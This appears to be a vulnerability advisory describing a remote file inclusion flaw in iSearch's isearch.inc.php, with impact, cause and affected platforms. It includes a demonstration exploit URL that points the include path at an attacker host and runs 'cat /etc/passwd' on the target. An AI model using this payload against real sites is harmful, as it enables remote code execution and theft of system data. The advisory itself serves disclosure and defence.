How To 8

'isearch.inc.php' includes the following files relative to the user-supplied $isearch_path variable:

isearch_core.inc.php
isearch_spider.inc.php
i search_search.inc.php

A remote user can reportedly supply a specially crafted URL that will include arbitrary PHP code from a remote location and execute the code on the target system. The code, including operating system commands, will execute with the privileges of the target web service.

A demonstration exploit URL is provided:

http://[target]/isearch/isearch.inc.php?isearch_path=http://[attacker]?&cmd=cat /etc/passwd

The author indicates that this vulnerability was reported by blackcobra-x.

Impact: A remote user can execute arbitrary PHP code and operating system commands on the target system with the privileges of the target web service.

Solution: No solution was available at the time of this entry.

Vendor URL: www.isearchthenet.com/isearch/index.php (Links to External Site)

Cause: Input validation error, State error

Underlying OS: Linux (Any), UNIX (Any), Windows (Any)

Reported By: taktau@taktau.cc